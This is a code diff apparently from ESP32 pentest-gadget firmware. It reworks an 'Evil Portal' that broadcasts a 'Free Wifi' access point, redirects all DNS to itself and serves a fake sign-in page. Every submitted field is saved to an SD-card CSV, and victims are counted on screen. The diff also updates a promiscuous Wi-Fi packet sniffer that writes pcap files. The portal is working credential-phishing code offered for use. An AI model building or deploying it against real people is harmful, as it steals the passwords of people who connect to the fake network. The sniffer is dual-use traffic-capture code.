diff --git a/src/display.cpp b/src/display.cpp
index 4662a0b67..2e4971530 100644
--- a/src/display.cpp
+++ b/src/display.cpp
@@ -105,11 +105,11 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) {
menu_op.setTextColor(fgcolor,bgcolor);
if(size==FM) {
menu_op.setTextSize(FM);
- menu_op.setCursor(WIDTH/2 - FM*3*text.length(), 5);
+ menu_op.setCursor(menu_op.width()/2 - FM*3*text.length(), 5);
}
else {
menu_op.setTextSize(FP);
- menu_op.setCursor(WIDTH/2 - FP*3*text.length(), 5);
+ menu_op.setCursor(menu_op.width()/2 - FP*3*text.length(), 5);
}
menu_op.println(text);
menu_op.pushSprite(10,HEIGHT/2 - 13);
diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp
index 087d82569..bcb24b39e 100644
--- a/src/evil_portal.cpp
+++ b/src/evil_portal.cpp
@@ -7,7 +7,7 @@
AsyncWebServer *ep; // initialise webserver
DNSServer dnsServer;
-String html_file;
+String html_file, ep_logo, last_cred;
String AP_name = "Free Wifi";
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
@@ -26,14 +26,146 @@ class CaptiveRequestHandler : public AsyncWebHandler {
void handleRequest(AsyncWebServerRequest *request) {
AsyncResponseStream *response = request->beginResponseStream("text/html");
- if(request->params()>0) request->redirect("/post");
- if(request->params()==0) request->redirect("/");
+ if(request->hasParam("ssid")) request->redirect("/ssid"); // If there is a parameter called "ssid", changes network
+ else if(request->params()>0) { // Else if there are other parameters, store in the memory
+ String html_temp = ""; // Else.. after all that, redirects to the page
+ String csvLine = "";
+ last_cred="";
+ for (int i = 0; i < request->params(); i++) {
+ AsyncWebParameter *param = request->getParam(i);
+ html_temp += param->name() + ": " + param->value() + "
\n";
+ // Prepara dados para salvar no SD
+ if (i != 0) {
+ csvLine += ",";
+ last_cred +=",";
+ }
+ csvLine += param->name() + ": " + param->value();
+ last_cred += param->name().substring(0,1) + ": " + param->value();
+ }
+ html_temp += "\n";
+ saveToCSV("/Bruce_creds.csv", csvLine);
+ capturedCredentialsHtml = html_temp + capturedCredentialsHtml;
+ totalCapturedCredentials++;
+ request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
+ }
+ else {
+ request->redirect("/");
+ }
}
};
+void startEvilPortal() {
+ bool redraw=true;
+ Serial.begin(115200);
+ // Definição da matriz "Options"
+ options = {
+ {"Default", [=]() { chooseHtml(false); }},
+ {"Custom Html", [=]() { chooseHtml(true); }},
+ };
+ delay(200);
+ loopOptions(options);
+ while(checkNextPress()){ yield(); } // debounce
+
+ AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
+ while(checkNextPress()){ yield(); } // debounce
+
+ IPAddress AP_GATEWAY(172, 0, 0, 1);
+ WiFi.mode(WIFI_AP);
+ WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
+ WiFi.softAP(AP_name);
+ Serial.print("IP: "); Serial.println(WiFi.softAPIP());
+ wifiConnected=true;
+ dnsServer.start(53, "*", WiFi.softAPIP());
+ ep = new AsyncWebServer(80);
+
+ // if url isn't found
+ ep->onNotFound([](AsyncWebServerRequest * request) {
+ request->redirect("/");
+ });
+
+ ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", creds_GET());
+ });
+
+ ep->on("/ssid", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", ssid_GET());
+ });
+
+ ep->on("/postssid", HTTP_GET, [](AsyncWebServerRequest * request) {
+ if(request->hasArg("ssid")) AP_name = request->arg("ssid").c_str();
+ request->send(200, "text/html", ssid_POST());
+ ep->end(); // pára o servidor
+ wifiDisconnect(); // desliga o WiFi
+ WiFi.softAP(AP_name); // reinicia WiFi com novo SSID
+ ep->begin(); // reinicia o servidor
+ previousTotalCapturedCredentials=-1; // redesenha a tela
+ });
+
+ ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", clear_GET());
+ });
+
+ ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", html_file);
+ });
+
+ ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP
+
+ ep->begin();
+
+ tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR);
+ drawMainMenu(0);
+ menu_op.deleteSprite();
+ menu_op.createSprite(WIDTH-20, HEIGHT-35);
+
+ while(!checkSelPress()) {
+ if(totalCapturedCredentials!=previousTotalCapturedCredentials) {
+ redraw=true;
+ previousTotalCapturedCredentials = totalCapturedCredentials;
+ }
+ if(redraw) {
+ menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR);
+ menu_op.setTextSize(FM);
+ menu_op.setTextColor(TFT_RED);
+ menu_op.drawCentreString("Evil Portal",sprite.width()/2, 4, SMOOTH_FONT);
+ menu_op.setCursor(0,20);
+ menu_op.setTextColor(FGCOLOR);
+ menu_op.println("AP: " + AP_name);
+ menu_op.println("->" + WiFi.softAPIP().toString() + "/creds");
+ menu_op.println("->" + WiFi.softAPIP().toString() + "/ssid");
+ menu_op.print("Victrims: ");
+ menu_op.setTextColor(TFT_RED);
+ menu_op.println(String(totalCapturedCredentials));
+ menu_op.setTextSize(FP);
+ menu_op.println(last_cred);
+
+ menu_op.pushSprite(8,26);
+ redraw=false;
+ }
+ dnsServer.processNextRequest();
+ }
+
+ while(checkSelPress()) { }
+ displayWarning("Bruce will restart");
+ while(!checkSelPress()) { }
+ // Evil Portal uses a lot of RAM memmory, and can't open Menus after that, need to restart.
+ ESP.restart();
+}
+
+// Função para salvar dados no arquivo CSV
+void saveToCSV(const String &filename, const String &csvLine) {
+ File file = SD.open(filename, FILE_APPEND);
+ if (!file) {
+ Serial.println("Error to open file");
+ return;
+ }
+ file.println(csvLine);
+ file.close();
+ Serial.println("data saved");
+}
String getHtmlContents(String body) {
- String html =
+ PROGMEM String html =
""
""
""
@@ -51,7 +183,7 @@ String getHtmlContents(String body) {
" "
" ");
+}
+String ssid_POST() {
+ return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect.");
+}
String index_GET() {
String loginTitle = String("Sign in");
@@ -86,9 +224,11 @@ String clear_GET() {
}
void chooseHtml(bool def) {
+ ep_logo = "";
if(def) {
html_file = loopSD(true);
if(html_file.endsWith(".html")) {
+ ep_logo = "";
File html = SD.open(html_file, FILE_READ);
html_file = html.readString();
} else {
@@ -97,94 +237,4 @@ void chooseHtml(bool def) {
} else {
html_file = index_GET();
}
-}
-void startEvilPortal() {
- Serial.begin(115200);
- // Definição da matriz "Options"
- std::vector>> options = {
- {"Default", [=]() { chooseHtml(false); }},
- {"Custom Html", [=]() { chooseHtml(true); }},
- };
- delay(200);
- loopOptions(options);
-
- bool redraw=true;
-
- while(checkNextPress()){ yield(); } // debounce
-
- AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
-
- while(checkNextPress()){ yield(); } // debounce
-
- IPAddress AP_GATEWAY(172, 0, 0, 1);
- WiFi.mode(WIFI_AP);
- WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
- WiFi.softAP(AP_name);
- Serial.print("IP: "); Serial.println(WiFi.softAPIP());
- wifiConnected=true;
- dnsServer.start(53, "*", WiFi.softAPIP());
- ep = new AsyncWebServer(80);
-
- // if url isn't found
- ep->onNotFound([](AsyncWebServerRequest * request) {
- request->redirect("/");
- });
-
- ep->on("/post", HTTP_GET, [](AsyncWebServerRequest * request) {
- String password, email;
- if(request->hasArg("password")) password = request->arg("password").c_str();
- if(request->hasArg("email")) password = request->arg("email").c_str();
- capturedCredentialsHtml = "Email: " + email + "Password: " + password + "" + capturedCredentialsHtml;
- totalCapturedCredentials++;
-
- //#if defined(HAS_SDCARD)
- // appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
- //#endif
- request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
- });
-
- ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", creds_GET());
- });
-
- ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", clear_GET());
- });
-
- ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", index_GET());
- });
-
- ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP
-
- ep->begin();
-
- tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR);
- drawMainMenu(0);
- menu_op.deleteSprite();
- menu_op.createSprite(WIDTH-20, HEIGHT-35);
-
-
-
- while(!checkSelPress()) {
- if(totalCapturedCredentials-previousTotalCapturedCredentials>1) {
- redraw=true;
- previousTotalCapturedCredentials = totalCapturedCredentials -1;
- }
- if(redraw) {
- menu_op.fillRect(0,0,menu_op.width(),menu_op.height(),BGCOLOR);
- menu_op.setCursor(0,0);
- menu_op.setTextSize(FM);
- menu_op.setTextColor(FGCOLOR);
- menu_op.println("Evil Portal: ");
- menu_op.println(AP_name);
- menu_op.println(WiFi.softAPIP().toString());
- menu_op.println("Victrims: " + String(totalCapturedCredentials));
- menu_op.pushSprite(8,26);
- redraw=false;
- }
- dnsServer.processNextRequest();
- }
- delay(200);
- returnToMenu = true;
}
\ No newline at end of file
diff --git a/src/evil_portal.h b/src/evil_portal.h
index 7584e0c19..5291cd1e8 100644
--- a/src/evil_portal.h
+++ b/src/evil_portal.h
@@ -20,3 +20,9 @@ String index_GET();
String clear_GET();
+String ssid_GET();
+
+String ssid_POST();
+
+void saveToCSV(const String &filename, const String &csvLine);
+
diff --git a/src/sniffer.cpp b/src/sniffer.cpp
index e028a2141..ffdaa0d1d 100644
--- a/src/sniffer.cpp
+++ b/src/sniffer.cpp
@@ -1,213 +1,233 @@
-/*
- ===========================================
- Copyright (c) 2017 Stefan Kremser
- github.com/spacehuhn
- ===========================================
-*/
-
-
-/* include all necessary libraries */
-#include "freertos/FreeRTOS.h"
-#include "esp_wifi.h"
-//#include "esp_wifi_internal.h"
-#include "lwip/err.h"
-#include "esp_system.h"
-#include "esp_event.h"
-#include "esp_event_loop.h"
-#include "nvs_flash.h"
-#include "driver/gpio.h"
-
-#include
-#include
-#include "FS.h"
-#include "PCAP.h"
-#include "display.h"
-#include "globals.h"
-#include "sd_functions.h"
-
-
-
-//===== SETTINGS =====//
-#define CHANNEL 1
-#define FILENAME "raw"
-#define SAVE_INTERVAL 10 //save new file every 30s
-#define CHANNEL_HOPPING true //if true it will scan on all channels
-#define MAX_CHANNEL 11 //(only necessary if channelHopping is true)
-#define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true)
-
-
-//===== Run-Time variables =====//
-unsigned long lastTime = 0;
-unsigned long lastChannelChange = 0;
-int counter = 0;
-int ch = CHANNEL;
-bool fileOpen = false;
-
-//PCAP pcap = PCAP();
-PCAP pcap;
-String filename = "/" + (String)FILENAME + ".pcap";
-
-//===== FUNCTIONS =====//
-
-bool openFile(){
- //String filename = "capture.cap";
-
-
- uint32_t magic_number = 0xa1b2c3d4;
- uint16_t version_major = 2;
- uint16_t version_minor = 4;
- uint32_t thiszone = 0;
- uint32_t sigfigs = 0;
- uint32_t snaplen = 2500;
- uint32_t network = 105;
-
- //if(SD.exists(filename.c_str())) removeFile(SD);
- file = SD.open(filename, FILE_WRITE);
- if(file) {
-
- filewrite_32(magic_number);
- filewrite_16(version_major);
- filewrite_16(version_minor);
- filewrite_32(thiszone);
- filewrite_32(sigfigs);
- filewrite_32(snaplen);
- filewrite_32(network);
- return true;
- }
- return false;
- }
-
-
-/* will be executed on every packet the ESP32 gets while beeing in promiscuous mode */
-void sniffer(void *buf, wifi_promiscuous_pkt_type_t type){
-
- if(fileOpen){
- wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
- wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl;
-
- uint32_t timestamp = now(); //current timestamp
- uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); //micro seconds offset (0 - 999)
- newPacketSD(timestamp, microseconds, ctrl.sig_len, pkt->payload); //write packet to file
-
- }
-
-}
-
-esp_err_t event_handler(void *ctx, system_event_t *event){ return ESP_OK; }
-
-
-/* opens a new file */
-void openFile2(){
-
- //searches for the next non-existent file name
- int c = 0;
- while(SD.open(filename)){
- filename = "/" + (String)FILENAME + "_" + (String)c + ".pcap";
- c++;
- }
-
- fileOpen = openFile();
-
- Serial.println("opened: "+filename);
-
- //reset counter (counter for saving every X seconds)
- counter = 0;
-}
-
-
-//===== SETUP =====//
-void sniffer_setup() {
- tft.fillScreen(BGCOLOR);
- tft.setCursor(0, 0);
- Serial.begin(115200);
- //delay(2000);
- Serial.println();
-
- uint8_t cardType = SD.cardType();
-
- if(cardType == CARD_NONE){
- Serial.println("No SD card attached");
- displayRedStripe("No SD card");
- return;
- }
-
- Serial.print("SD Card Type: ");
- if(cardType == CARD_MMC){
- Serial.println("MMC");
- } else if(cardType == CARD_SD){
- Serial.println("SDSC");
- } else if(cardType == CARD_SDHC){
- Serial.println("SDHC");
- } else {
- Serial.println("UNKNOWN");
- }
-
- int64_t cardSize = SD.cardSize() / (1024 * 1024);
- Serial.printf("SD Card Size: %lluMB\n", cardSize);
- openFile2();
-
- /* setup wifi */
- nvs_flash_init();
- tcpip_adapter_init();
- ESP_ERROR_CHECK( esp_event_loop_init(event_handler, NULL) );
- wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
- ESP_ERROR_CHECK( esp_wifi_init(&cfg) );
- ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) );
- ESP_ERROR_CHECK( esp_wifi_set_mode(WIFI_MODE_AP) );
- ESP_ERROR_CHECK( esp_wifi_start() );
- esp_wifi_set_promiscuous(true);
- esp_wifi_set_promiscuous_rx_cb(sniffer);
- wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL;
- esp_wifi_set_channel(ch,secondCh);
-
- Serial.println("Sniffer started!");
-
- displayRedStripe("Sniffer started!", TFT_WHITE, TFT_DARKGREEN );
-
- sniffer_loop();
-
-}
-
-void sniffer_loop() {
- for(;;) {
- // if ((checkSelPress())) {
- unsigned long currentTime = millis();
-
- /* Channel Hopping */
- if(CHANNEL_HOPPING){
- if(currentTime - lastChannelChange >= HOP_INTERVAL){
- lastChannelChange = currentTime;
- ch++; //increase channel
- if(ch > MAX_CHANNEL) ch = 1;
- wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL;
- esp_wifi_set_channel(ch,secondCh);
- }
- }
-
- if(fileOpen && currentTime - lastTime > 1000){
- file.flush(); //save file
- lastTime = currentTime; //update time
- counter++; //add 1 to counter
- }
-
- /* when counter > 30s interval */
- if(counter > SAVE_INTERVAL){
- //closeFile(); //save & close the file
- file.close();
- fileOpen = false; //update flag
- Serial.println("==================");
- Serial.println(filename + " saved!");
- Serial.println("==================");
- tft.setCursor(0, 20);
- tft.setTextColor(TFT_WHITE, BGCOLOR);
- tft.setTextSize(2);
- tft.println("Saved to file in SD card, filename:");
- tft.setTextSize(2);
- displayRedStripe(filename, TFT_WHITE, FGCOLOR);
- // tft.println(filename);
- tft.setTextColor(FGCOLOR, BGCOLOR);
- openFile2(); //open new file
- }
- // }
- }
+/*
+ ===========================================
+ Copyright (c) 2017 Stefan Kremser
+ github.com/spacehuhn
+ ===========================================
+*/
+
+
+/* include all necessary libraries */
+#include "freertos/FreeRTOS.h"
+#include "esp_wifi.h"
+//#include "esp_wifi_internal.h"
+#include "lwip/err.h"
+#include "esp_system.h"
+#include "esp_event.h"
+//#include "esp_event_loop.h"
+#include "nvs_flash.h"
+#include "driver/gpio.h"
+
+#include
+#include
+#include "FS.h"
+#include "PCAP.h"
+#include "display.h"
+#include "globals.h"
+#include "sd_functions.h"
+
+
+
+//===== SETTINGS =====//
+#define CHANNEL 1
+#define FILENAME "raw"
+#define SAVE_INTERVAL 10 //save new file every 30s
+#define CHANNEL_HOPPING true //if true it will scan on all channels
+#define MAX_CHANNEL 11 //(only necessary if channelHopping is true)
+#define HOP_INTERVAL 214 //in ms (only necessary if channelHopping is true)
+
+
+//===== Run-Time variables =====//
+unsigned long lastTime = 0;
+unsigned long lastChannelChange = 0;
+int counter = 0;
+int ch = CHANNEL;
+bool fileOpen = false;
+
+//PCAP pcap = PCAP();
+PCAP pcap;
+String filename = "/" + (String)FILENAME + ".pcap";
+
+//===== FUNCTIONS =====//
+
+bool openFile(){
+ //String filename = "capture.cap";
+
+
+ uint32_t magic_number = 0xa1b2c3d4;
+ uint16_t version_major = 2;
+ uint16_t version_minor = 4;
+ uint32_t thiszone = 0;
+ uint32_t sigfigs = 0;
+ uint32_t snaplen = 2500;
+ uint32_t network = 105;
+
+ //if(SD.exists(filename.c_str())) removeFile(SD);
+ file = SD.open(filename, FILE_WRITE);
+ if(file) {
+
+ filewrite_32(magic_number);
+ filewrite_16(version_major);
+ filewrite_16(version_minor);
+ filewrite_32(thiszone);
+ filewrite_32(sigfigs);
+ filewrite_32(snaplen);
+ filewrite_32(network);
+ return true;
+ }
+ return false;
+ }
+
+
+/* will be executed on every packet the ESP32 gets while beeing in promiscuous mode */
+void sniffer(void *buf, wifi_promiscuous_pkt_type_t type){
+
+ if(fileOpen){
+ wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl;
+
+ uint32_t timestamp = now(); //current timestamp
+ uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); //micro seconds offset (0 - 999)
+ newPacketSD(timestamp, microseconds, ctrl.sig_len, pkt->payload); //write packet to file
+
+ }
+
+}
+
+//esp_err_t event_handler(void *ctx, system_event_t *event){ return ESP_OK; }
+void event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, void *event_data) {
+ if (event_base == WIFI_EVENT) {
+ switch (event_id) {
+ case WIFI_EVENT_STA_START:
+ // Ação para quando a estação WiFi inicia
+ break;
+ // Outros casos...
+ }
+ } else if (event_base == IP_EVENT) {
+ switch (event_id) {
+ case IP_EVENT_STA_GOT_IP:
+ // Ação para quando a estação WiFi obtém um endereço IP
+ break;
+ // Outros casos...
+ }
+ }
+}
+
+/* opens a new file */
+void openFile2(){
+
+ //searches for the next non-existent file name
+ int c = 0;
+ while(SD.open(filename)){
+ filename = "/" + (String)FILENAME + "_" + (String)c + ".pcap";
+ c++;
+ }
+
+ fileOpen = openFile();
+
+ Serial.println("opened: "+filename);
+
+ //reset counter (counter for saving every X seconds)
+ counter = 0;
+}
+
+
+//===== SETUP =====//
+void sniffer_setup() {
+ tft.fillScreen(BGCOLOR);
+ tft.setCursor(0, 0);
+ Serial.begin(115200);
+ //delay(2000);
+ Serial.println();
+
+ uint8_t cardType = SD.cardType();
+
+ if(cardType == CARD_NONE){
+ Serial.println("No SD card attached");
+ displayRedStripe("No SD card");
+ return;
+ }
+
+ Serial.print("SD Card Type: ");
+ if(cardType == CARD_MMC){
+ Serial.println("MMC");
+ } else if(cardType == CARD_SD){
+ Serial.println("SDSC");
+ } else if(cardType == CARD_SDHC){
+ Serial.println("SDHC");
+ } else {
+ Serial.println("UNKNOWN");
+ }
+
+ int64_t cardSize = SD.cardSize() / (1024 * 1024);
+ Serial.printf("SD Card Size: %lluMB\n", cardSize);
+ openFile2();
+
+ /* setup wifi */
+ nvs_flash_init();
+ //tcpip_adapter_init(); //velho
+ ESP_ERROR_CHECK(esp_netif_init()); //novo
+ //ESP_ERROR_CHECK( esp_event_loop_init(event_handler, NULL) ); //velho
+ ESP_ERROR_CHECK(esp_event_loop_create_default()); // novo
+ ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &event_handler, NULL)); // novo
+ ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &event_handler, NULL)); // novo
+ wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
+ ESP_ERROR_CHECK( esp_wifi_init(&cfg) );
+ ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) );
+ ESP_ERROR_CHECK( esp_wifi_set_mode(WIFI_MODE_AP) );
+ ESP_ERROR_CHECK( esp_wifi_start() );
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_rx_cb(sniffer);
+ wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL;
+ esp_wifi_set_channel(ch,secondCh);
+
+ Serial.println("Sniffer started!");
+
+ displayRedStripe("Sniffer started!", TFT_WHITE, TFT_DARKGREEN );
+
+ sniffer_loop();
+
+}
+
+void sniffer_loop() {
+ for(;;) {
+ // if ((checkSelPress())) {
+ unsigned long currentTime = millis();
+
+ /* Channel Hopping */
+ if(CHANNEL_HOPPING){
+ if(currentTime - lastChannelChange >= HOP_INTERVAL){
+ lastChannelChange = currentTime;
+ ch++; //increase channel
+ if(ch > MAX_CHANNEL) ch = 1;
+ wifi_second_chan_t secondCh = (wifi_second_chan_t)NULL;
+ esp_wifi_set_channel(ch,secondCh);
+ }
+ }
+
+ if(fileOpen && currentTime - lastTime > 1000){
+ file.flush(); //save file
+ lastTime = currentTime; //update time
+ counter++; //add 1 to counter
+ }
+
+ /* when counter > 30s interval */
+ if(counter > SAVE_INTERVAL){
+ //closeFile(); //save & close the file
+ file.close();
+ fileOpen = false; //update flag
+ Serial.println("==================");
+ Serial.println(filename + " saved!");
+ Serial.println("==================");
+ tft.setCursor(0, 20);
+ tft.setTextColor(TFT_WHITE, BGCOLOR);
+ tft.setTextSize(2);
+ tft.println("Saved to file in SD card, filename:");
+ tft.setTextSize(2);
+ displayRedStripe(filename, TFT_WHITE, FGCOLOR);
+ // tft.println(filename);
+ tft.setTextColor(FGCOLOR, BGCOLOR);
+ openFile2(); //open new file
+ }
+ // }
+ }
}
\ No newline at end of file